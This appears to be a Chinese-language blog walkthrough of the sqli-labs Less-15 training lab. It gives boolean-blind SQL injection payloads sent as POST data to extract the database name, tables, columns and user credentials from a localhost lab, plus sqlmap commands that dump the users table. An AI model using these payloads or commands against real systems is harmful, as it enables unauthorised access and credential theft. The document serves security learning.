sqli-labs：Less-15关卡详细解析

1. 思路🚀

本关的SQL语句为：

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

• 注入类型：字符串型（单引号包裹）、POST请求
• 提示：参数需以'闭合

php输出语句的部分代码：

if($row)
{
 	//echo '<font color= "#0000ff">';	
 	echo "<br>";
	echo '<font color= "#FFFF00" font size = 4>';
	//echo " You Have successfully logged in\n\n " ;
	echo '<font size="3" color="#0000ff">';	
	echo "<br>";
	//echo 'Your Login name:'. $row['username'];
	echo "<br>";
	//echo 'Your Password:' .$row['password'];
	echo "<br>";
	echo "</font>";
	echo "<br>";
	echo "<br>";
	echo '<img src="../images/flag.jpg"  />';	
	echo "</font>";
 }

同样没有回显语句，根据本关卡标题选择布尔盲注，那么就顺便学习一下：

• 布尔盲注✅
• 时间盲注
• 报错盲注

2. 手工注入步骤🎯

我的地址栏是：http://localhost:8081/Less-15/，只需要将下面的url和post data放入对应位置，粘贴即可。

2.1. 判断能否注入⚡

uname=1' or 1=1 #
&passwd=admin&submit=Submit

uname=1' or 1=2 #
&passwd=admin&submit=Submit

我们会发现是通过是否登录成功的标语判断是否能注入的，之前用的都是order by n，但是在本关卡不好使。而且用的是or连接两个逻辑判断，前一个必定为假，因为没有用户的账号名为1的，所以能否登录成功就取决于后面一条逻辑的判断。

2.2. 获取数据库⚡

只有下面的sql语句才会显示登录成功的标语，其余都不能。

# 先判断长度
uname=1' or length(database())=8 #
# 再排查名字
uname=1' or substr((database()),1,1)='s' # 
uname=1' or substr((database()),2,1)='e' # 
uname=1' or substr((database()),3,1)='c' #
uname=1' or substr((database()),4,1)='u' # 
uname=1' or substr((database()),5,1)='r' #
uname=1' or substr((database()),6,1)='i' #
uname=1' or substr((database()),7,1)='t' # 
uname=1' or substr((database()),8,1)='y' #  

&passwd=admin&submit=Submit

2.3. 获取表名⚡

# 先判断长度
uname=1' or (select length(table_name) from information_schema.tables where table_schema=database() limit 3,1)=5 # 
# 再排查名字
uname=1' or substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 1, 1)='u' # 
uname=1' or substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 2, 1)='s' # 
uname=1' or substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 3, 1)='e' # 
uname=1' or substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 4, 1)='r' # 
uname=1' or substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 5, 1)='s' # 

&passwd=admin&submit=Submit

2.4. 获取字段⚡

下面是获取username字段，类比一下获取password字段。

# 先判断长度
uname=1' or (select length(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1)=8 # 
# 再排查名字
uname=1' or substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 1, 1)='u' # 
uname=1' or substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 2, 1)='s' # 
uname=1' or substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 3, 1)='e' # 
uname=1' or substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 4, 1)='r' # 
uname=1' or substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 5, 1)='n' # 
uname=1' or substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 6, 1)='a' # 
uname=1' or substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 7, 1)='m' # 
uname=1' or substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 8, 1)='e' # 

&passwd=admin&submit=Submit

2.5. 获取数据⚡

同理可以获取第一个用户的密码，第二个用户的账号密码。

uname=1' or substr((select username from users limit 0,1), 1, 1)='D' # 
uname=1' or substr((select username from users limit 0,1), 2, 1)='u' #  
uname=1' or substr((select username from users limit 0,1), 3, 1)='m' # 
uname=1' or substr((select username from users limit 0,1), 4, 1)='b' # 

&passwd=admin&submit=Submit

2.6. 参数汇总表⭐

3. SQLMap工具测试🎯

url地址换成自己的，比如：http://localhost:8081/Less-15/，由于本关卡为post请求，需要加参数指明请求格式，
--data="uname=1&passwd=123456"，uname与passwd的值随意，具体如下：⭐

# 检测注入点
python sqlmap.py -u "http://localhost:8081/Less-15/" --data="uname=1&passwd=123456" --batch

# 爆数据库
python sqlmap.py -u "url" --data="uname=1&passwd=123456" --dbs --batch

# 爆表名
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security --tables --batch

# 爆列名
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security -T users --columns --batch

# 爆数据
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security -T users -C id,username,password --dump --batch

命令1截图：

命令5截图：

SQLMap参数表⭐

4. 总结🏁

关于post请求，本关卡与关卡11的解法相仿，但关卡11的解析更为详细，欢迎大家移步"sqli-labs：Less-11关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149805916?spm=1011.2124.3001.6209

有关报错盲注的解析，关卡8最为详细，欢迎移步"sqli-labs：Less-8关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149797430?spm=1011.2124.3001.6209

声明：本文仅用于安全学习，严禁非法测试！ ❗❗❗